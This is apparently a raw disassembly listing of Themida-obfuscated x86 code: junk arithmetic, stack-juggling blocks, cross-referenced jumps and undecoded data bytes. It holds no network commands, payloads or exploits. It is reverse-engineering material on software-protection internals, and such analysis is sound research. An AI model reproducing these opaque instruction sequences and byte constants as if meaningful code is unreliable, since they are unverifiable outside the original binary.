; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0B9510000h, 4, 8759CE01h, 0E95C2434h, 0FFFFA01Fh
		dd 5024248Bh, 0FF3D38E9h, 0EAC142FFh, 83F28105h, 31B6F4A5h
		dd 3176E9D0h, 88520000h, 5AF788EEh, 8B387F88h, 0C483241Ch
		dd 240C8B04h, 2CE2E9h, 0EC815800h, 4, 0E9241C89h, 0FFFF5E45h
; ---------------------------------------------------------------------------


loc_561414:				; CODE XREF: Themida_:00565221j
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4


loc_56141D:				; CODE XREF: Themida_:0055AEFBj
		push	2AE2h
		mov	[esp], edx
		mov	edx, ebx
		push	4D52h
		jmp	loc_55655D
; ---------------------------------------------------------------------------
		dd offset dword_450050+2A18h
		align 2
		dw 1C89h
		dd 431FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56143E:				; CODE XREF: Themida_:00559410j
		sub	bx, ax
		sub	bx, 4294h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563B22
; ---------------------------------------------------------------------------


loc_561454:				; CODE XREF: Themida_:00565BFEj
		mov	esi, 762F60C2h
		jmp	loc_550AC9
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 159CE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56146A:				; CODE XREF: Themida_:0055FCCAj
		pop	ebx
		jmp	loc_560063
; ---------------------------------------------------------------------------


loc_561470:				; CODE XREF: Themida_:00552D5Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_55234E
; ---------------------------------------------------------------------------


loc_561489:				; CODE XREF: Themida_:0055F999j
		mov	ebp, 5F063141h
		jmp	loc_559DF7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1FE92404h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56149B:				; CODE XREF: Themida_:0055A899j
		mov	eax, 7E8A2841h
		shl	eax, 8
		jmp	loc_563AAF
; ---------------------------------------------------------------------------
		dd 4C281h, 5C680000h, 89000043h, 21E92404h, 5DFFFFF9h
		dd 525EF201h, 42474FFh,	0E924148Bh, 0FFFF5430h,	50C1FE5Bh
		dd 0FFBE6EE9h, 81D6F7FFh, 236806C6h, 1EE8110h, 0E9000000h
		dd 0FFFF362Ah
; ---------------------------------------------------------------------------


loc_5614E8:				; CODE XREF: Themida_:00563379j
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_551C0B
; ---------------------------------------------------------------------------


loc_5614FE:				; CODE XREF: Themida_:00565407j
		mov	ecx, 3B0F70B5h
		sub	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 7650704Eh
		sub	ebx, edx
		pop	edx
		jmp	loc_561841
; ---------------------------------------------------------------------------
		dd 2414895Ch, 2434FF54h, 4C4835Ah, 0FFFF83E9h, 0A4E95AFFh
		dd 58FFFFA2h, 1C33E9h, 243C8900h, 0C781E789h, 4, 4EC81h
		dd 1C890000h, 4BB24h, 0DF290000h, 243C875Bh, 0FFABF6E9h
		dd 665F66FFh, 0D166DBF7h, 0E06866EBh, 34896636h, 35FBE924h
		dd 0EC81FFFFh, 4, 0FF7883E9h, 2434FFFFh, 0DBD8E95Fh
		db 2 dup(0FFh)
word_56157E	dw 0E9ACh		; DATA XREF: Themida_:005506E4o
		dd 0FFFFC248h, 6BA968h,	24148900h, 737968h, 241C8900h
		dd 80FBB450h, 0C480F7F4h, 3FE4808Ah, 8072C480h,	0E788BDC4h
		dd 0FFEF8058h, 88BAC780h, 0D3005BFAh, 0FF6FB3E9h, 0D1F781FFh
		dd 5E461261h, 0FB87DF29h, 5F2434FFh, 8104C483h,	7029F2F3h
		dd 4DB85054h, 0E93C4105h, 0FFFF532Bh, 5304C483h, 46938BBh
		dd 5BDF2971h, 0C781C701h, 71046938h, 148DBD55h,	8AE95A18h
		dd 1FFFFF3h, 242C8BEFh,	0E904C483h, 0FFFF233Fh,	3579B850h
		dd 99355A06h, 2D578D29h, 5F47319Ah, 0F7E9D0F7h,	31FFFFFBh
		dd 14332414h, 34895C24h, 34FF5424h, 89565E24h, 4C681E6h
		dd 81000000h, 4C6h, 24343300h, 33243431h, 5DE92434h, 89FFFFE8h
		dd 0E7C15BDFh, 1C78305h, 7AA9C781h, 0EF833FD6h,	0DBF78101h
		dd 507FA120h, 0FF9D7BE9h, 81E289FFh, 4C2h, 4B85000h, 0E9000000h
		dd 0FFFFD698h, 3359CB01h, 0B9E9241Ch, 0E900000Ah, 0FFFEF323h
		dd 0AEE5E950h, 0EF80FFFFh, 9DB05070h, 0A2E9D0F6h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56169F:				; CODE XREF: Themida_:00558C80j
		pop	ecx
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		push	ecx
		mov	cl, bh
		mov	[edi+eax*4], cl
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_5604BB
; ---------------------------------------------------------------------------
		dw 3358h
		dd 65E92414h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5616C3:				; CODE XREF: Themida_:0055DF21j
		push	esi
		mov	esi, 1D3510EDh
		not	esi
		or	esi, 75C172CAh
		jmp	loc_55F811
; ---------------------------------------------------------------------------
		dw 0EF89h
		dd 0FF4320E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5616DD:				; CODE XREF: Themida_:00563E53j
		mov	edi, eax
		pop	eax
		shr	edi, 5
		sub	edi, 0FFFFFFFFh
		xchg	edx, edi
		dec	edx
		xchg	edx, edi
		shr	edi, 1
		inc	edi
		jmp	loc_558283
; ---------------------------------------------------------------------------
		db 81h
		dd 0EB30B1C2h, 0E9D2F71Ah, 0FFFF779Fh, 0FEF2AAE9h, 2D4DBFFFh
		dd 0DFF71559h, 45E5C781h, 0F9891F4Fh, 81D9F75Fh, 0EF5C74C1h
		dd 49E9D138h, 3CD0E953h, 0F7550000h, 815D2414h,	0F40266F5h
		dd 1334E954h, 0E3B90000h, 110534Ah, 5908244Ch, 0E924048Bh
		dd 0FFFF7BCCh, 8704C683h, 535C2434h, 0FFCDA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561755:				; CODE XREF: Themida_:0055B043j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55EB16
; ---------------------------------------------------------------------------
		db 29h,	0C2h, 8Bh
		dd 14E92404h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56176B:				; CODE XREF: Themida_:00556872j
		push	esi
		mov	esi, 457F5042h
		not	esi
		inc	esi
		sub	esi, 37B3081Fh
		xor	esi, 0E05CBD3Ch
		xor	ebx, esi
		pop	esi
		add	edi, 49C24664h
		push	ebp
		jmp	loc_55CF30
; ---------------------------------------------------------------------------


loc_56178F:				; CODE XREF: Themida_:0055CC95j
		mov	ecx, 484B222Fh
		mov	eax, ecx
		pop	ecx
		jmp	loc_55E9A6
; ---------------------------------------------------------------------------


loc_56179C:				; CODE XREF: Themida_:0055630Aj
		add	esi, 4
		sub	esi, 4
		jmp	loc_561F97
; ---------------------------------------------------------------------------


loc_5617AD:				; CODE XREF: Themida_:005631E7j
		push	0
		jmp	loc_557C79
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 58C68900h, 1ACEEA81h, 0F22962A8h, 1ACEC281h, 34FF62A8h
		dd 0E1B7E924h, 8953FFFFh, 4C381E3h, 0E9000000h,	0FFFF813Eh
		dd 52CBF680h, 12454F6h,	8324148Bh, 0EEC004C4h, 0E4F8E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5617FA:				; CODE XREF: Themida_:005577C3j
		pop	edx
		add	edx, edi
		push	eax
		mov	eax, 0
		add	eax, edx
		push	ebx
		push	ebp
		push	22FD0764h
		jmp	loc_55F166
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 8Bh
		dd 0C4832414h, 0BFC58104h, 0E928B25Ch, 0FFFFA5B7h, 8904EC83h
		dd 2FB82404h, 2D06C233h, 34787253h, 558C301h, 13A269CFh
		dd 0FF6569E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561841:				; CODE XREF: Themida_:0056150Fj
		sub	ebx, eax
		push	ebp
		mov	ebp, 7650704Eh
		add	ebx, ebp
		jmp	loc_560E49
; ---------------------------------------------------------------------------
		dd 1ABFF581h, 0EF096B2Fh, 46E94F5Dh, 0F7FFFFCCh, 3930E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561866:				; CODE XREF: Themida_:0056418Fj
		mov	edx, 140B5D33h
		xor	edx, 0A03DBD10h
		jmp	loc_55590D
; ---------------------------------------------------------------------------
		dw 5651h
		dd 1E7C72BEh, 0BA525669h, 11493374h, 4245431h, 16FCE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56188E:				; CODE XREF: Themida_:00551C0Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5593B4
; ---------------------------------------------------------------------------
byte_561899	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055074Co
		dd 5324148Bh, 0BF57E389h, 107777FDh, 72CBE781h,	0E7C140F5h
		dd 0E7CF8103h, 0F7318520h, 22C3E9DFh, 51590000h, 0F33F0CB9h
		dd 0E9CD311Dh, 0FFFEF8E9h, 348BF189h, 0A8DE924h, 81580000h
		dd 4C4h, 5E9C100h, 3ACCE981h, 0BA520327h, 0BD11E34h, 0F2814A4Ah
		dd 23971BB0h, 15AD729h,	994AE9CFh
		db 2 dup(0FFh)
word_5618FE	dw 8950h		; DATA XREF: Themida_:0055088Co
		dd 405E0h, 0E8830000h, 0ED17E904h, 0F5CFFFFh, 18E952C8h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561917:				; CODE XREF: Themida_:0055C696j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_565CD0
; ---------------------------------------------------------------------------


loc_561928:				; CODE XREF: Themida_:00550AFBj
		add	esp, 4
		push	esi
		jmp	loc_55E8E3
; ---------------------------------------------------------------------------
		db 2Ch,	84h, 0
		dd 668404D0h, 8324148Bh, 148904ECh, 81E28924h, 4C2h, 51BB5300h
		dd 810C2F69h, 2F694FEBh, 0AFEA810Ch, 14F664Ch, 0AFC281DAh
		dd 0FF4F664Ch, 1C8B2434h, 4C48124h, 0E9000000h,	431Ch
; ---------------------------------------------------------------------------


loc_561974:				; CODE XREF: Themida_:0055E312j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	eax, [esp]
		push	1E3Fh
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		push	4
		push	dword ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_5520ED
; ---------------------------------------------------------------------------
		dd 0E181D9F7h, 3D3E4410h, 0E9D1F741h, 0FFFF159Fh, 8B243C87h
		dd 0D5682424h, 8900003Ch, 7CE9240Ch
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5619C3:				; CODE XREF: Themida_:005536E2j
		mov	edx, 4
		mov	esi, edx
		pop	edx
		push	5E0Fh
		mov	[esp], eax
		push	edx
		mov	edx, 26EA4361h
		push	edx
		mov	eax, [esp]
		jmp	loc_5556EE
; ---------------------------------------------------------------------------


loc_5619E2:				; CODE XREF: Themida_:00561101j
		sub	ebx, 0A74A3118h
		add	ecx, ebx
		pop	ebx
		add	edi, ecx
		jmp	loc_56500A
; ---------------------------------------------------------------------------


loc_5619F2:				; CODE XREF: Themida_:0055576Dj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_558B97
; ---------------------------------------------------------------------------


loc_561A00:				; CODE XREF: Themida_:00557F8Dj
		push	eax
		jmp	loc_5517AA
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0FFAAA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561A11:				; CODE XREF: Themida_:00557623j
		push	eax
		mov	eax, 4
		jmp	loc_563609
; ---------------------------------------------------------------------------


loc_561A1C:				; CODE XREF: Themida_:00556AABj
		add	dx, 42E8h
		push	di
		mov	di, 1
		add	dx, 21BDh
		add	dx, di
		sub	dx, 21BDh
		pop	di
		add	dx, 25EFh
		add	bx, dx
		pop	edx
		jmp	loc_55C53F
; ---------------------------------------------------------------------------
		dd 8EFC15Bh, 6199F781h,	0C78126B1h, 30153AA8h, 0CA5BB82Dh
		dd 0FDFDE938h, 48FFFFEh, 24248B24h, 475868h, 24348900h
		dd 0C6815E54h, 4, 0D8E95055h, 68FFFF7Fh, 4, 83241C8Bh
		dd 0DE0104C4h, 2C0DE9h
		db 0
; ---------------------------------------------------------------------------


loc_561A8D:				; CODE XREF: Themida_:0055E43Bj
		mov	edi, esp
		push	ebp
		push	ebx
		jmp	loc_551620
; ---------------------------------------------------------------------------
word_561A96	dw 8B66h		; DATA XREF: Themida_:0055082Co
		dd 0E9532404h, 0FFFF6B9Fh, 123D68h, 24248900h, 0FF417AE9h
		dd 76BF57FFh, 0F71F8636h, 44F781DFh, 2199778Dh,	0E9505FFBh
		dd 0FFFFB843h, 0C15DE989h, 0E7E908E9h, 0BEFFFF44h, 4, 7A6568h
		dd 24048900h, 0FFA9C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561AE1:				; CODE XREF: Themida_:005650ECj
		push	esi
		jmp	loc_557AC4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5A8D2D00h, 0E801162Eh,	2E5A8D05h, 2434FF16h, 4C4815Dh
		dd 81000000h, 4ECh, 0B6B6E900h,	0EE81FFFFh, 7CDC08B1h
		dd 0BB53DE01h, 30F06695h, 0FF8A93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561B21:				; CODE XREF: Themida_:005603AAj
		push	ecx
		push	ebx
		mov	bl, dh
		mov	ch, bl
		pop	ebx
		push	edx
		jmp	loc_55DD85
; ---------------------------------------------------------------------------


loc_561B2E:				; CODE XREF: Themida_:00552DC2j
		not	esi
		xchg	esi, [esp]
		pop	eax
		shl	eax, 8
		add	eax, 9D219B04h
		jmp	loc_552D0D
; ---------------------------------------------------------------------------
		db 0B3h, 3Bh, 80h
		dd 48E975EBh, 58FFFF0Fh, 3DEC68h, 243C8900h, 268h, 0EB815F00h
		dd 424E0165h, 0FEFBFAE9h, 0E9FB01FFh, 0B74h
; ---------------------------------------------------------------------------


loc_561B6C:				; CODE XREF: Themida_:005522CEj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_5515A0
; ---------------------------------------------------------------------------


loc_561B7D:				; CODE XREF: Themida_:005547ADj
		pop	edi
		jmp	loc_55FDBE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EEE9243Ch, 87FFFF3Bh, 0DDF75AD5h, 0C7C6E953h, 0CE89FFFFh
		dd 8BF52959h, 0C4812434h, 4, 2C8BEF01h,	30E95524h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BAF:				; CODE XREF: Themida_:0055D0E4j
		push	274Fh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_555796
; ---------------------------------------------------------------------------


loc_561BC6:				; CODE XREF: Themida_:00559FF6j
		pop	ebx
		not	ebx
		jmp	loc_55B8E6
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4ECh, 24048900h, 0FFC0EBE9h,	4C781FFh, 0E9000000h, 0FFFF82C6h
; ---------------------------------------------------------------------------


loc_561BE8:				; CODE XREF: Themida_:0055BFD2j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_558602
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B24048Fh, 0E9522424h, 3934h, 148BD108h, 4C48124h, 80000000h
		dd 0CF286AE9h, 0FFFDF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561C15:				; CODE XREF: Themida_:00555B24j
		push	ebx
		push	ebp
		mov	ebp, 30h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5538F3
; ---------------------------------------------------------------------------
		dd 0FF241489h, 0E9042474h, 0FFFF26ECh
; ---------------------------------------------------------------------------


loc_561C30:				; CODE XREF: Themida_:005587A5j
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_555D71
; ---------------------------------------------------------------------------


loc_561C3D:				; CODE XREF: Themida_:00560376j
		sub	ebp, 2
		push	3B10h
		jmp	loc_551873
; ---------------------------------------------------------------------------
		dw 0C580h
		dd 0E9EA0074h, 0FFFFDEDAh
; ---------------------------------------------------------------------------


loc_561C54:				; CODE XREF: Themida_:00556DD7j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 40B62EF3h
		xor	edi, 63A67040h
		not	edi
		jmp	loc_55B4BD
; ---------------------------------------------------------------------------
		db 8Ah
		dd 8802245Ch, 66022474h, 5624148Bh, 0C681E689h,	4, 3302C683h
		dd 34312434h, 0FF5AE924h, 0B20CFFFEh, 0E8C0D0F6h, 30440404h
		dd 0EB8058C1h, 0E9CB2800h, 0FFFFF8DCh, 295DE801h, 0B4BA52D8h
		dd 567CD032h, 0FFFFFFBEh, 5EF229FFh, 2414F752h,	5ECA815Ah
		dd 8119DD7Dh, 0A4A83CF2h, 0E9D029C6h, 0FFFF3B1Ch, 0D07CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561CDA:				; CODE XREF: Themida_:0055A2DCj
		sub	dx, 3E72h
		add	dx, 79B6h
		jmp	loc_556F79
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
		dd 2C48124h, 0F6000000h, 0A3F680DEh, 0FF5B05E9h, 241C89FFh
		dd 2434FF54h, 0E9241C8Bh, 0FFFF8772h
; ---------------------------------------------------------------------------


loc_561D0C:				; CODE XREF: Themida_:00556FB9j
		shl	ebx, 2
		xor	ebx, 0AEF5F96Fh
		xor	ebp, ebx
		pop	ebx
		shl	ebp, 5
		jmp	loc_557074
; ---------------------------------------------------------------------------
		dd 3458E953h
		db 2 dup(0FFh)
word_561D26	dw 74FFh		; DATA XREF: Themida_:005508F8o
		dd 34FF0424h, 24048B24h, 0FFDCB7E9h, 53EB89FFh,	0FF58FEE9h
		dd 240C89FFh, 0FF85FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561D45:				; CODE XREF: Themida_:0055DE00j
		push	ebx
		mov	bh, 26h
		xor	bh, 7Eh
		jmp	loc_556395
; ---------------------------------------------------------------------------
aUS		db 'аЦ',7,'И!*',0
		align 4
		dd 8704E883h, 895C2404h, 0E9242Ch
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D67:				; CODE XREF: Themida_:00562C0Bj
		push	esi
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 355666D4h
		add	edx, ebp
		add	edx, 355666D4h
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, edx
		pop	edx
		jmp	loc_5659AE
; ---------------------------------------------------------------------------


loc_561D8E:				; CODE XREF: Themida_:0055C542j
		push	edx
		mov	edx, esp
		push	10D8h
		mov	[esp], ebx
		push	edi
		jmp	loc_5636DD
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEEC0Bh
dword_561DA4	dd 24048B66h, 79E968h, 24148900h, 0DE68E289h, 89000078h
					; DATA XREF: Themida_:00550938o
		dd 0A3E92434h, 50FFFF18h, 188668h, 24248900h, 4240483h
		dd 6824048Bh, 54Bh, 89242C89h, 4C581E5h, 81000000h, 4C5h
		dd 242C8700h, 0FC5E95Ch, 814DFFFFh, 28AB8CEDh, 8BEE01F6h
		dd 0C483242Ch, 0CDE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561E02:				; CODE XREF: Themida_:00562F15j
		push	11BAh
		mov	[esp], ebx
		mov	ebx, 581E16B4h
		push	ecx
		mov	ecx, 3A547C1h
		jmp	loc_55211F
; ---------------------------------------------------------------------------


loc_561E1A:				; CODE XREF: Themida_:00552BBFj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_562C10
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 93C6804h, 1C890000h, 2474FF24h
		dd 241C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_553E62
; ---------------------------------------------------------------------------
		db 5Eh
		dd 1FEBE9h, 0D8F18100h,	567A6E47h, 0FFC6A9E9h, 24048FFFh
		dd 6624248Bh, 66241489h, 24E99C50h, 80FFFEEBh, 0EC83FFEEh
		dd 241C8904h, 0CB80B5B3h, 9B8E921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E9E:				; CODE XREF: Themida_:00554AF5j
		push	542455C4h
		pop	ebp
		jmp	loc_553A78
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0F7h
		dd 0EEDBE9D9h, 5159FFFFh, 5226B850h, 0E0C14D44h, 3B742D05h
		dd 0C1892CEEh, 8BCD3158h, 7EE9240Ch, 55FFFF44h,	4BDh, 5DEE0100h
		dd 2474FF56h, 2434FF04h, 4C4815Eh, 8F000000h, 535C2404h
		dd 2DE9E389h, 0C1FFFF59h, 0E0E908EDh, 55FFFEEFh, 0FFA80AE9h
		dd 2D0540FFh, 55C2E4Eh,	1, 0D9C62B35h, 58C30165h, 4B850h
		dd 0C3010000h, 0FFE70AE9h, 77E954FFh, 81FFFF56h, 4C4h
		dd 0F8A4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F32:				; CODE XREF: Themida_:00551003j
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_554DA9
; ---------------------------------------------------------------------------
		db 51h,	31h, 14h
		dd 24143324h, 87241431h, 8B5156F2h, 0E0E92434h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561F57:				; CODE XREF: Themida_:005546ABj
		shl	ebx, 2
		push	edi
		jmp	loc_55E258
; ---------------------------------------------------------------------------
		dd 0FEEA4AE9h, 0E18951FFh, 3C6768h, 24048900h, 0BD05D6B8h
		dd 0C1D0F70Ch, 7B0507E8h, 569DC79h, 46736B3Ah, 366AA52Dh
		dd 58C101B2h, 4C181h, 0DFE90000h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561F97:				; CODE XREF: Themida_:005617A8j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_552DBF
; ---------------------------------------------------------------------------
		db 55h
		dd 2E422DBDh, 0F4F58170h, 1D85C00h, 90E95DEFh
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561FB7:				; CODE XREF: Themida_:005538B9j
		mov	[esp], edi
		mov	edi, eax
		mov	ebx, edi
		jmp	loc_554C78
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFC6DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561FC9:				; CODE XREF: Themida_:00554207j
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_558CF9
; ---------------------------------------------------------------------------
		dd 0F925C581h, 0C5E9D2C4h, 31FFFFFCh, 0C1815EF7h, 19C139BAh
		dd 0FFD050E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561FF1:				; CODE XREF: Themida_:00562CFBj
		push	ebx
		jmp	loc_562C9C
; ---------------------------------------------------------------------------
		db 31h
		dd 52E92404h, 68FFFF34h, 43CAh,	0FEF4DCE9h, 556BAFFh, 0E2817547h
		dd 56C0E64h, 440EA81h, 0D7010544h, 0FFAC79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562021:				; CODE XREF: Themida_:0055E993j
		not	bh
		not	bh
		push	eax
		mov	al, 79h
		jmp	loc_551D41
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58100h, 87000000h, 0FF5C242Ch, 815B2434h, 4C4h
		dd 0BF38100h, 0E9092C04h, 0FFFF6538h
; ---------------------------------------------------------------------------


loc_562054:				; CODE XREF: Themida_:0055382Cj
		add	ebx, 611176FEh
		jmp	loc_559E89
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEE94Bh, 2048BF57h, 0E95223FCh, 26Bh
; ---------------------------------------------------------------------------


loc_562070:				; CODE XREF: Themida_:0055A4D2j
		sub	esi, 46AB2A7Ah
		jmp	loc_55E0CA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4EF8300h, 795E9h
		db 0
; ---------------------------------------------------------------------------


loc_562089:				; CODE XREF: Themida_:0056262Dj
		push	0
		sub	[esp], edx
		pop	edx
		sub	edx, 791E6F5Ch
		jmp	loc_551E3B
; ---------------------------------------------------------------------------
		db 0BDh, 2Dh, 5Dh
		dd 0EC832686h, 24048904h, 566553B8h, 3AEE966h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5620B2:				; CODE XREF: Themida_:00555AB7j
		push	10h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55703B
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FF489EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5620C9:				; CODE XREF: Themida_:0055C21Aj
		push	esi
		jmp	loc_55BEE6
; ---------------------------------------------------------------------------


loc_5620CF:				; CODE XREF: Themida_:0055F6C1j
		and	ecx, 426D64ADh
		push	1EBDh
		mov	[esp], edi
		mov	edi, 83B62C5h
		add	edi, 1
		push	eax
		jmp	loc_55C402
; ---------------------------------------------------------------------------


loc_5620EB:				; CODE XREF: Themida_:0055D67Ej
		pop	edi
		neg	edi
		xor	edi, 0B07450EAh
		add	ecx, edi
		jmp	loc_5524F8
; ---------------------------------------------------------------------------
		db 89h
		dd 0B7BE56E2h, 8162F263h, 924738EEh, 0FD8DE940h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56210E:				; CODE XREF: Themida_:00551211j
		add	edi, edx
		pop	edx
		sub	edi, 1
		jmp	loc_55E6D9
; ---------------------------------------------------------------------------
		dd 0E90AF380h, 0FFFFB465h, 1C581h, 1EE90000h, 0B9FFFF0Dh
		dd 538420BCh, 89CE8956h, 0E9595EF3h, 25F0h, 33241C31h
		dd 0E95C241Ch, 0FFFF3C9Eh
; ---------------------------------------------------------------------------


loc_56214C:				; CODE XREF: Themida_:005563B5j
		add	ebp, ebx
		jmp	loc_55A2F7
; ---------------------------------------------------------------------------
		db 64h
		dd 0E9028966h, 0FFFF1218h, 0AD05E952h, 815AFFFFh, 4C4h
		dd 392DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56216E:				; CODE XREF: Themida_:00565916j
		sub	esi, 455CD456h
		jmp	loc_562AF8
; ---------------------------------------------------------------------------
		db 80h,	0C4h, 7Dh
		dd 3058E330h, 1910E9D8h, 0D8F70000h, 5603E0C1h,	0F267BABEh
		dd 0F7D6F748h, 4EEC1DEh, 0E903EEC1h, 0FFFF48DFh, 4EC81h
		dd 1C890000h, 0FD73E924h, 0F929FFFFh, 0FF6980E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5621B5:				; CODE XREF: Themida_:0055974Bj
		xchg	ecx, [esp]
		pop	esp
		add	al, ch
		push	dword ptr [esp]
		jmp	loc_5552F4
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 243C8924h, 0C000CB68h, 0A77FE916h, 0D931FFFFh
		dd 8BCE315Bh, 0C483240Ch, 81DEF704h, 899168C6h,	618668C6h
		dd 34890000h, 241C8B24h, 5E04C483h, 2C1BE9h, 4EC8300h
		dd 89240C89h, 0BD5553E1h, 5C0F5671h, 3C5AC581h,	0EDC16DEFh
		dd 2ABF5703h, 81294F3Ch, 0DF28EBE7h, 47CF816Ch,	81250429h
		dd 4DA3FAC7h, 0E9FD2987h, 0FFFF3FBDh, 81242489h, 42404h
		dd 3C8B0000h, 4C48124h,	68000000h, 1EE7h, 0E9242C89h, 0FFFF3099h
		dd 34FFE801h, 242C8B24h, 5604C483h, 0C681E689h,	4, 0FF5742E9h
		dd 1AC681FFh, 814DA729h, 932C4EEh, 242C8B17h, 0FF7BEDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562281:				; CODE XREF: Themida_:00557D88j
		push	800h
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_55420C
; ---------------------------------------------------------------------------


loc_562294:				; CODE XREF: Themida_:005518D2j
		mov	ebp, 3AED08AEh
		inc	ebp
		or	ebp, 7E256C85h
		or	ebp, 2B9C3B46h
		jmp	loc_5599D6
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0BA52D829h, 61C59EEh, 5BC28142h, 0E95C7F5Eh,	0FFFFBA83h
		dd 396AE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5622C6:				; CODE XREF: Themida_:005587D5j
		pop	edx
		xchg	eax, [esp]
		jmp	loc_5594E9
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2474FF53h, 8E95B04h,	0BAFFFF24h, 12A239DFh, 3DBD5542h
		dd 451B8142h, 0E5C1DDF7h, 54F58102h, 81723A7Ah,	2C4687EDh
		dd 5DEA219Bh, 8106EAC1h, 0EC1CF5CAh, 73BB5371h,	812DB479h
		dd 0E815FBE3h, 0C3A9E952h, 489FFFFh, 2474FF24h,	2434FF04h
